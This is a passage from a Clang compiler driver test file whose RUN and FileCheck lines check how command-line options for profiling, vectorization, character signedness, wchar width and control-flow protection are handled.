%clang -### -S -fprofile-instr-generate=/tmp/somefile.profraw %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-GENERATE-FILE %s // RUN: %clang -### -S -fprofile-generate -fprofile-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate -fprofile-use=dir %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate -fprofile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate -fprofile-instr-use=file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-use=dir %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-instr-use=file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate=file -fprofile-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate=file -fprofile-use=dir %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate=file -fprofile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate=file -fprofile-instr-use=file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate=dir -fprofile-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate=dir -fprofile-use=dir %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate=dir -fprofile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-generate=dir -fprofile-instr-use=file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GEN-USE %s // RUN: %clang -### -S -fprofile-instr-generate=file -fno-profile-instr-generate %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-GEN %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-generate %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GENERATE %s // RUN: %clang -### -S -fprofile-instr-generate -fprofile-generate=file %s 2>&1 | FileCheck -check-prefix=CHECK-NO-MIX-GENERATE %s // RUN: %clang -### -S -fprofile-generate=dir -fno-profile-generate %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-GEN %s // RUN: %clang -### -S -fprofile-instr-use=file -fno-profile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-USE %s // RUN: %clang -### -S -fprofile-instr-use=file -fno-profile-use %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-USE %s // RUN: %clang -### -S -fprofile-use=file -fno-profile-use %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-USE %s // RUN: %clang -### -S -fprofile-use=file -fno-profile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-USE %s // RUN: %clang -### -S -fcoverage-mapping %s 2>&1 | FileCheck -check-prefix=CHECK-COVERAGE-AND-GEN %s // RUN: %clang -### -S -fcoverage-mapping -fno-coverage-mapping %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-COVERAGE %s // RUN: %clang -### -S -fprofile-instr-generate -fcoverage-mapping -fno-coverage-mapping %s 2>&1 | FileCheck -check-prefix=CHECK-DISABLE-COVERAGE %s // RUN: %clang -### -S -fprofile-remapping-file foo/bar.txt %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-REMAP %s // RUN: %clang -### -S -forder-file-instrumentation %s 2>&1 | FileCheck -check-prefix=CHECK-ORDERFILE-INSTR %s // RUN: %clang -### -flto -forder-file-instrumentation %s 2>&1 | FileCheck -check-prefix=CHECK-ORDERFILE-INSTR-LTO %s // CHECK-PROFILE-GENERATE: "-fprofile-instrument=clang" // CHECK-PROFILE-GENERATE-LLVM: "-fprofile-instrument=llvm" // CHECK-PROFILE-GENERATE-DIR: "-fprofile-instrument-path=/some/dir{{/|\\\\}}{{.*}}" // CHECK-PROFILE-GENERATE-FILE: "-fprofile-instrument-path=/tmp/somefile.profraw" // CHECK-NO-MIX-GEN-USE: '{{[a-z=-]*}}' not allowed with '{{[a-z=-]*}}' // CHECK-NO-MIX-GENERATE: '{{[a-z=-]*}}' not allowed with '{{[a-z=-]*}}' // CHECK-DISABLE-GEN-NOT: "-fprofile-instrument=clang" // CHECK-DISABLE-USE-NOT: "-fprofile-instr-use" // CHECK-COVERAGE-AND-GEN: '-fcoverage-mapping' only allowed with '-fprofile-instr-generate' // CHECK-DISABLE-COVERAGE-NOT: "-fcoverage-mapping" // CHECK-PROFILE-REMAP: "-fprofile-remapping-file=foo/bar.txt" // CHECK-ORDERFILE-INSTR: "-forder-file-instrumentation" // CHECK-ORDERFILE-INSTR: "-enable-order-file-instrumentation" // CHECK-ORDERFILE-INSTR-LTO: "-forder-file-instrumentation" // CHECK-ORDERFILE-INSTR-LTO-NOT: "-enable-order-file-instrumentation" // RUN: %clang -### -S -fprofile-use %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE %s // RUN: %clang -### -S -fprofile-instr-use %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE %s // RUN: mkdir -p %t.d/some/dir // RUN: %clang -### -S -fprofile-use=%t.d/some/dir %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE-DIR %s // RUN: %clang -### -S -fprofile-instr-use=/tmp/somefile.prof %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-USE-FILE %s // CHECK-PROFILE-USE: "-fprofile-instrument-use-path=default.profdata" // CHECK-PROFILE-USE-DIR: "-fprofile-instrument-use-path={{.*}}.d/some/dir{{/|\\\\}}default.profdata" // CHECK-PROFILE-USE-FILE: "-fprofile-instrument-use-path=/tmp/somefile.prof" // RUN: %clang -### -S -fvectorize %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -fno-vectorize -fvectorize %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -fno-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -fvectorize -fno-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -ftree-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -fno-tree-vectorize -fvectorize %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -fno-tree-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -ftree-vectorize -fno-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -O %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -O2 %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -Os %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -O3 %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -fno-vectorize -O3 %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -O1 -fvectorize %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S -Ofast %s 2>&1 | FileCheck -check-prefix=CHECK-VECTORIZE %s // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -O0 %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -O1 %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // RUN: %clang -### -S -Oz %s 2>&1 | FileCheck -check-prefix=CHECK-NO-VECTORIZE %s // CHECK-VECTORIZE: "-vectorize-loops" // CHECK-NO-VECTORIZE-NOT: "-vectorize-loops" // RUN: %clang -### -S -fslp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -fno-slp-vectorize -fslp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -fno-slp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -fslp-vectorize -fno-slp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -ftree-slp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -fno-tree-slp-vectorize -fslp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -fno-tree-slp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -ftree-slp-vectorize -fno-slp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -O %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -O2 %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -Os %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -Oz %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -O3 %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -fno-slp-vectorize -O3 %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -O1 -fslp-vectorize %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S -Ofast %s 2>&1 | FileCheck -check-prefix=CHECK-SLP-VECTORIZE %s // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -O0 %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // RUN: %clang -### -S -O1 %s 2>&1 | FileCheck -check-prefix=CHECK-NO-SLP-VECTORIZE %s // CHECK-SLP-VECTORIZE: "-vectorize-slp" // CHECK-NO-SLP-VECTORIZE-NOT: "-vectorize-slp" // RUN: %clang -### -S -fextended-identifiers %s 2>&1 | FileCheck -check-prefix=CHECK-EXTENDED-IDENTIFIERS %s // RUN: not %clang -### -S -fno-extended-identifiers %s 2>&1 | FileCheck -check-prefix=CHECK-NO-EXTENDED-IDENTIFIERS %s // CHECK-EXTENDED-IDENTIFIERS: "-cc1" // CHECK-EXTENDED-IDENTIFIERS-NOT: "-fextended-identifiers" // CHECK-NO-EXTENDED-IDENTIFIERS: error: unsupported option '-fno-extended-identifiers' // RUN: %clang -### -S -frounding-math %s 2>&1 | FileCheck -check-prefix=CHECK-ROUNDING-MATH %s // CHECK-ROUNDING-MATH: "-cc1" // CHECK-ROUNDING-MATH: "-frounding-math" // CHECK-ROUNDING-MATH-NOT: "-fno-rounding-math" // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-ROUNDING-MATH-NOT %s // RUN: %clang -### -S -ffp-model=imprecise %s 2>&1 | FileCheck -check-prefix=CHECK-FPMODEL %s // CHECK-FPMODEL: unsupported argument 'imprecise' to option 'ffp-model=' // RUN: %clang -### -S -ffp-model=precise %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -ffp-model=strict %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -ffp-model=fast %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -ffp-exception-behavior=trap %s 2>&1 | FileCheck -check-prefix=CHECK-FPEB %s // CHECK-FPEB: unsupported argument 'trap' to option 'ffp-exception-behavior=' // RUN: %clang -### -S -ffp-exception-behavior=maytrap %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -ffp-exception-behavior=ignore %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -ffp-exception-behavior=strict %s 2>&1 | FileCheck -check-prefix=IGNORE %s // RUN: %clang -### -S -fno-pascal-strings -mpascal-strings %s 2>&1 | FileCheck -check-prefix=CHECK-M-PASCAL-STRINGS %s // CHECK-M-PASCAL-STRINGS: "-fpascal-strings" // RUN: %clang -### -S -fpascal-strings -mno-pascal-strings %s 2>&1 | FileCheck -check-prefix=CHECK-NO-M-PASCAL-STRINGS %s // CHECK-NO-M-PASCAL-STRINGS-NOT: "-fpascal-strings" // RUN: %clang -### -S -O4 %s 2>&1 | FileCheck -check-prefix=CHECK-MAX-O %s // CHECK-MAX-O: warning: -O4 is equivalent to -O3 // CHECK-MAX-O: -O3 // RUN: %clang -S -O20 -o /dev/null %s 2>&1 | FileCheck -check-prefix=CHECK-INVALID-O %s // CHECK-INVALID-O: warning: optimization level '-O20' is not supported; using '-O3' instead // RUN: %clang -### -S -finput-charset=iso-8859-1 -o /dev/null %s 2>&1 | FileCheck -check-prefix=CHECK-INVALID-CHARSET %s // CHECK-INVALID-CHARSET: error: invalid value 'iso-8859-1' in '-finput-charset=iso-8859-1' // RUN: %clang -### -S -fexec-charset=iso-8859-1 -o /dev/null %s 2>&1 | FileCheck -check-prefix=CHECK-INVALID-INPUT-CHARSET %s // CHECK-INVALID-INPUT-CHARSET: error: invalid value 'iso-8859-1' in '-fexec-charset=iso-8859-1' // Test that we don't error on these. // RUN: %clang -### -S -Werror \ // RUN: -falign-functions -falign-functions=2 -fno-align-functions \ // RUN: -fasynchronous-unwind-tables -fno-asynchronous-unwind-tables \ // RUN: -fbuiltin -fno-builtin \ // RUN: -fdiagnostics-show-location=once \ // RUN: -ffloat-store -fno-float-store \ // RUN: -feliminate-unused-debug-types -fno-eliminate-unused-debug-types \ // RUN: -fgcse -fno-gcse \ // RUN: -fident -fno-ident \ // RUN: -fimplicit-templates -fno-implicit-templates \ // RUN: -finput-charset=UTF-8 \ // RUN: -fexec-charset=UTF-8 \ // RUN: -fivopts -fno-ivopts \ // RUN: -fnon-call-exceptions -fno-non-call-exceptions \ // RUN: -fpermissive -fno-permissive \ // RUN: -fdefer-pop -fno-defer-pop \ // RUN: -fprefetch-loop-arrays -fno-prefetch-loop-arrays \ // RUN: -fprofile-correction -fno-profile-correction \ // RUN: -fprofile-values -fno-profile-values \ // RUN: -frounding-math -fno-rounding-math \ // RUN: -fsee -fno-see \ // RUN: -ftracer -fno-tracer \ // RUN: -funroll-all-loops -fno-unroll-all-loops \ // RUN: -fuse-ld=gold \ // RUN: -fno-builtin-foobar \ // RUN: -fno-builtin-strcat -fno-builtin-strcpy \ // RUN: -fno-var-tracking \ // RUN: -fno-unsigned-char \ // RUN: -fno-signed-char \ // RUN: -fstrength-reduce -fno-strength-reduce \ // RUN: -finline-limit=1000 \ // RUN: -finline-limit \ // RUN: -flto=1 \ // RUN: -falign-labels \ // RUN: -falign-labels=100 \ // RUN: -falign-loops \ // RUN: -falign-loops=100 \ // RUN: -falign-jumps \ // RUN: -falign-jumps=100 \ // RUN: -fexcess-precision=100 \ // RUN: -fbranch-count-reg \ // RUN: -fcaller-saves \ // RUN: -fno-default-inline -fdefault-inline \ // RUN: -fgcse-after-reload \ // RUN: -fgcse-las \ // RUN: -fgcse-sm \ // RUN: -fipa-cp \ // RUN: -finline-functions-called-once \ // RUN: -fmodulo-sched \ // RUN: -fmodulo-sched-allow-regmoves \ // RUN: -fpeel-loops \ // RUN: -frename-registers \ // RUN: -fschedule-insns2 \ // RUN: -fsingle-precision-constant \ // RUN: -funsafe-loop-optimizations \ // RUN: -fuse-linker-plugin \ // RUN: -fvect-cost-model \ // RUN: -fvariable-expansion-in-unroller \ // RUN: -fweb \ // RUN: -fwhole-program \ // RUN: -fno-tree-dce -ftree-dce \ // RUN: -fno-tree-ter -ftree-ter \ // RUN: -fno-tree-vrp -ftree-vrp \ // RUN: -fno-delete-null-pointer-checks -fdelete-null-pointer-checks \ // RUN: -fno-inline-small-functions -finline-small-functions \ // RUN: -fno-fat-lto-objects -ffat-lto-objects \ // RUN: -fno-merge-constants -fmerge-constants \ // RUN: -fno-caller-saves -fcaller-saves \ // RUN: -fno-reorder-blocks -freorder-blocks \ // RUN: -fno-schedule-insns2 -fschedule-insns2 \ // RUN: -fno-stack-check \ // RUN: -fno-check-new -fcheck-new \ // RUN: -ffriend-injection \ // RUN: -fno-implement-inlines -fimplement-inlines \ // RUN: -fstack-check \ // RUN: -fforce-addr \ // RUN: -malign-functions=100 \ // RUN: -malign-loops=100 \ // RUN: -malign-jumps=100 \ // RUN: %s 2>&1 | FileCheck --check-prefix=IGNORE %s // IGNORE-NOT: error: unknown argument // Test that the warning is displayed on these. // RUN: %clang -### \ // RUN: -finline-limit=1000 \ // RUN: -finline-limit \ // RUN: -fexpensive-optimizations \ // RUN: -fno-expensive-optimizations \ // RUN: -fno-defer-pop \ // RUN: -fkeep-inline-functions \ // RUN: -fno-keep-inline-functions \ // RUN: -freorder-blocks \ // RUN: -ffloat-store \ // RUN: -fgcse \ // RUN: -fivopts \ // RUN: -fprefetch-loop-arrays \ // RUN: -fprofile-correction \ // RUN: -fprofile-values \ // RUN: -fschedule-insns \ // RUN: -fsignaling-nans \ // RUN: -fstrength-reduce \ // RUN: -ftracer \ // RUN: -funroll-all-loops \ // RUN: -funswitch-loops \ // RUN: -flto=1 \ // RUN: -falign-labels \ // RUN: -falign-labels=100 \ // RUN: -falign-loops \ // RUN: -falign-loops=100 \ // RUN: -falign-jumps \ // RUN: -falign-jumps=100 \ // RUN: -fexcess-precision=100 \ // RUN: -fbranch-count-reg \ // RUN: -fcaller-saves \ // RUN: -fno-default-inline \ // RUN: -fgcse-after-reload \ // RUN: -fgcse-las \ // RUN: -fgcse-sm \ // RUN: -fipa-cp \ // RUN: -finline-functions-called-once \ // RUN: -fmodulo-sched \ // RUN: -fmodulo-sched-allow-regmoves \ // RUN: -fpeel-loops \ // RUN: -frename-registers \ // RUN: -fschedule-insns2 \ // RUN: -fsingle-precision-constant \ // RUN: -funsafe-loop-optimizations \ // RUN: -fuse-linker-plugin \ // RUN: -fvect-cost-model \ // RUN: -fvariable-expansion-in-unroller \ // RUN: -fweb \ // RUN: -fwhole-program \ // RUN: -fcaller-saves \ // RUN: -freorder-blocks \ // RUN: -ffat-lto-objects \ // RUN: -fmerge-constants \ // RUN: -finline-small-functions \ // RUN: -ftree-dce \ // RUN: -ftree-ter \ // RUN: -ftree-vrp \ // RUN: -fno-devirtualize \ // RUN: -fno-devirtualize-speculatively \ // RUN: -fslp-vectorize-aggressive \ // RUN: -fno-slp-vectorize-aggressive \ // RUN: %s 2>&1 | FileCheck --check-prefix=CHECK-WARNING %s // CHECK-WARNING-DAG: optimization flag '-finline-limit=1000' is not supported // CHECK-WARNING-DAG: optimization flag '-finline-limit' is not supported // CHECK-WARNING-DAG: optimization flag '-fexpensive-optimizations' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-expensive-optimizations' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-defer-pop' is not supported // CHECK-WARNING-DAG: optimization flag '-fkeep-inline-functions' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-keep-inline-functions' is not supported // CHECK-WARNING-DAG: optimization flag '-freorder-blocks' is not supported // CHECK-WARNING-DAG: optimization flag '-ffloat-store' is not supported // CHECK-WARNING-DAG: optimization flag '-fgcse' is not supported // CHECK-WARNING-DAG: optimization flag '-fivopts' is not supported // CHECK-WARNING-DAG: optimization flag '-fprefetch-loop-arrays' is not supported // CHECK-WARNING-DAG: optimization flag '-fprofile-correction' is not supported // CHECK-WARNING-DAG: optimization flag '-fprofile-values' is not supported // CHECK-WARNING-DAG: optimization flag '-fschedule-insns' is not supported // CHECK-WARNING-DAG: optimization flag '-fsignaling-nans' is not supported // CHECK-WARNING-DAG: optimization flag '-fstrength-reduce' is not supported // CHECK-WARNING-DAG: optimization flag '-ftracer' is not supported // CHECK-WARNING-DAG: optimization flag '-funroll-all-loops' is not supported // CHECK-WARNING-DAG: optimization flag '-funswitch-loops' is not supported // CHECK-WARNING-DAG: unsupported argument '1' to option 'flto=' // CHECK-WARNING-DAG: optimization flag '-falign-labels' is not supported // CHECK-WARNING-DAG: optimization flag '-falign-labels=100' is not supported // CHECK-WARNING-DAG: optimization flag '-falign-loops' is not supported // CHECK-WARNING-DAG: optimization flag '-falign-loops=100' is not supported // CHECK-WARNING-DAG: optimization flag '-falign-jumps' is not supported // CHECK-WARNING-DAG: optimization flag '-falign-jumps=100' is not supported // CHECK-WARNING-DAG: optimization flag '-fexcess-precision=100' is not supported // CHECK-WARNING-DAG: optimization flag '-fbranch-count-reg' is not supported // CHECK-WARNING-DAG: optimization flag '-fcaller-saves' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-default-inline' is not supported // CHECK-WARNING-DAG: optimization flag '-fgcse-after-reload' is not supported // CHECK-WARNING-DAG: optimization flag '-fgcse-las' is not supported // CHECK-WARNING-DAG: optimization flag '-fgcse-sm' is not supported // CHECK-WARNING-DAG: optimization flag '-fipa-cp' is not supported // CHECK-WARNING-DAG: optimization flag '-finline-functions-called-once' is not supported // CHECK-WARNING-DAG: optimization flag '-fmodulo-sched' is not supported // CHECK-WARNING-DAG: optimization flag '-fmodulo-sched-allow-regmoves' is not supported // CHECK-WARNING-DAG: optimization flag '-fpeel-loops' is not supported // CHECK-WARNING-DAG: optimization flag '-frename-registers' is not supported // CHECK-WARNING-DAG: optimization flag '-fschedule-insns2' is not supported // CHECK-WARNING-DAG: optimization flag '-fsingle-precision-constant' is not supported // CHECK-WARNING-DAG: optimization flag '-funsafe-loop-optimizations' is not supported // CHECK-WARNING-DAG: optimization flag '-fuse-linker-plugin' is not supported // CHECK-WARNING-DAG: optimization flag '-fvect-cost-model' is not supported // CHECK-WARNING-DAG: optimization flag '-fvariable-expansion-in-unroller' is not supported // CHECK-WARNING-DAG: optimization flag '-fweb' is not supported // CHECK-WARNING-DAG: optimization flag '-fwhole-program' is not supported // CHECK-WARNING-DAG: optimization flag '-fcaller-saves' is not supported // CHECK-WARNING-DAG: optimization flag '-freorder-blocks' is not supported // CHECK-WARNING-DAG: optimization flag '-ffat-lto-objects' is not supported // CHECK-WARNING-DAG: optimization flag '-fmerge-constants' is not supported // CHECK-WARNING-DAG: optimization flag '-finline-small-functions' is not supported // CHECK-WARNING-DAG: optimization flag '-ftree-dce' is not supported // CHECK-WARNING-DAG: optimization flag '-ftree-ter' is not supported // CHECK-WARNING-DAG: optimization flag '-ftree-vrp' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-devirtualize' is not supported // CHECK-WARNING-DAG: optimization flag '-fno-devirtualize-speculatively' is not supported // CHECK-WARNING-DAG: the flag '-fslp-vectorize-aggressive' has been deprecated and will be ignored // CHECK-WARNING-DAG: the flag '-fno-slp-vectorize-aggressive' has been deprecated and will be ignored // Test that we mute the warning on these // RUN: %clang -### -finline-limit=1000 -Wno-invalid-command-line-argument \ // RUN: %s 2>&1 | FileCheck --check-prefix=CHECK-NO-WARNING1 %s // RUN: %clang -### -finline-limit -Wno-invalid-command-line-argument \ // RUN: %s 2>&1 | FileCheck --check-prefix=CHECK-NO-WARNING2 %s // RUN: %clang -### -finline-limit \ // RUN: -Winvalid-command-line-argument -Wno-ignored-optimization-argument \ // RUN: %s 2>&1 | FileCheck --check-prefix=CHECK-NO-WARNING2 %s // CHECK-NO-WARNING1-NOT: optimization flag '-finline-limit=1000' is not supported // CHECK-NO-WARNING2-NOT: optimization flag '-finline-limit' is not supported // Test that an ignored optimization argument only prints 1 warning, // not both a warning about not claiming the arg, *and* about not supporting // the arg; and that adding -Wno-ignored-optimization silences the warning. // // RUN: %clang -### -fprofile-correction %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-NO-WARNING3 %s // CHECK-NO-WARNING3: optimization flag '-fprofile-correction' is not supported // CHECK-NO-WARNING3-NOT: argument unused // RUN: %clang -### -fprofile-correction -Wno-ignored-optimization-argument %s 2>&1 \ // RUN: | FileCheck --check-prefix=CHECK-NO-WARNING4 %s // CHECK-NO-WARNING4-NOT: not supported // CHECK-NO-WARNING4-NOT: argument unused // RUN: %clang -### -S -fsigned-char %s 2>&1 | FileCheck -check-prefix=CHAR-SIGN1 %s // CHAR-SIGN1-NOT: -fno-signed-char // RUN: %clang -### -S -funsigned-char %s 2>&1 | FileCheck -check-prefix=CHAR-SIGN2 %s // CHAR-SIGN2: -fno-signed-char // RUN: %clang -### -S -fno-signed-char %s 2>&1 | FileCheck -check-prefix=CHAR-SIGN3 %s // CHAR-SIGN3: -fno-signed-char // RUN: %clang -### -S -fno-unsigned-char %s 2>&1 | FileCheck -check-prefix=CHAR-SIGN4 %s // CHAR-SIGN4-NOT: -fno-signed-char // RUN: %clang -target x86_64-unknown-none-none -### -fshort-wchar -fno-short-wchar %s 2>&1 | FileCheck -check-prefix=CHECK-WCHAR1 -check-prefix=DELIMITERS %s // RUN: %clang -target x86_64-unknown-none-none -### -fno-short-wchar -fshort-wchar %s 2>&1 | FileCheck -check-prefix=CHECK-WCHAR2 -check-prefix=DELIMITERS %s // Make sure we don't match the -NOT lines with the linker invocation. // Delimiters match the start of the cc1 and the start of the linker lines // DELIMITERS: {{^ (\(in-process\)|")}} // CHECK-WCHAR1: -fwchar-type=int // CHECK-WCHAR1-NOT: -fwchar-type=short // CHECK-WCHAR2: -fwchar-type=short // CHECK-WCHAR2-NOT: -fwchar-type=int // DELIMITERS: {{^ *"}} // RUN: %clang -### -fno-experimental-new-pass-manager -fexperimental-new-pass-manager %s 2>&1 | FileCheck --check-prefix=CHECK-PM --check-prefix=CHECK-NEW-PM %s // RUN: %clang -### -fexperimental-new-pass-manager -fno-experimental-new-pass-manager %s 2>&1 | FileCheck --check-prefix=CHECK-PM --check-prefix=CHECK-NO-NEW-PM %s // CHECK-PM-NOT: argument unused // CHECK-NEW-PM: -fexperimental-new-pass-manager // CHECK-NEW-PM-NOT: -fno-experimental-new-pass-manager // CHECK-NO-NEW-PM: -fno-experimental-new-pass-manager // CHECK-NO-NEW-PM-NOT: -fexperimental-new-pass-manager // RUN: %clang -### -S -fstrict-return %s 2>&1 | FileCheck -check-prefix=CHECK-STRICT-RETURN %s // RUN: %clang -### -S -fno-strict-return %s 2>&1 | FileCheck -check-prefix=CHECK-NO-STRICT-RETURN %s // CHECK-STRICT-RETURN-NOT: "-fno-strict-return" // CHECK-NO-STRICT-RETURN: "-fno-strict-return" // RUN: %clang -### -S -fno-debug-info-for-profiling -fdebug-info-for-profiling %s 2>&1 | FileCheck -check-prefix=CHECK-PROFILE-DEBUG %s // RUN: %clang -### -S -fdebug-info-for-profiling -fno-debug-info-for-profiling %s 2>&1 | FileCheck -check-prefix=CHECK-NO-PROFILE-DEBUG %s // CHECK-PROFILE-DEBUG: -fdebug-info-for-profiling // CHECK-NO-PROFILE-DEBUG-NOT: -fdebug-info-for-profiling // RUN: %clang -### -S -fallow-editor-placeholders %s 2>&1 | FileCheck -check-prefix=CHECK-ALLOW-PLACEHOLDERS %s // RUN: %clang -### -S -fno-allow-editor-placeholders %s 2>&1 | FileCheck -check-prefix=CHECK-NO-ALLOW-PLACEHOLDERS %s // CHECK-ALLOW-PLACEHOLDERS: -fallow-editor-placeholders // CHECK-NO-ALLOW-PLACEHOLDERS-NOT: -fallow-editor-placeholders // RUN: %clang -### -target x86_64-unknown-windows-msvc -fno-short-wchar %s 2>&1 | FileCheck -check-prefix CHECK-WINDOWS-ISO10646 %s // CHECK-WINDOWS-ISO10646: "-fwchar-type=int" // CHECK-WINDOWS-ISO10646: "-fsigned-wchar" // RUN: %clang -### -S -fcf-protection %s 2>&1 | FileCheck -check-prefix=CHECK-CF-PROTECTION-FULL %s // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-NO-CF-PROTECTION-FULL %s // RUN: %clang -### -S -fcf-protection=full %s 2>&1 | FileCheck -check-prefix=CHECK-CF-PROTECTION-FULL %s // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-NO-CF-PROTECTION-FULL %s // CHECK-CF-PROTECTION-FULL: -fcf-protection=full // CHECK-NO-CF-PROTECTION-FULL-NOT: -fcf-protection=full // RUN: %clang -### -S -fcf-protection=return %s 2>&1 | FileCheck -check-prefix=CHECK-CF-PROTECTION-RETURN %s // RUN: %clang -### -S %s 2>&1 | FileCheck -check-prefix=CHECK-NO-CF-PROTECTION-RETURN %s // CHECK-CF-PROTECTION-RETURN: -fcf-protection=return // CHECK-NO-CF-PROTECTION-RETURN-NOT: -fcf-protection=return // RUN: %clang -### -S -fcf-protection=branch %s 2>&1 | FileCheck -check-prefix=CHECK-CF-PROTECTION-BRANCH %s // RUN: %clang -### -S %s 2>&1 | FileCheck 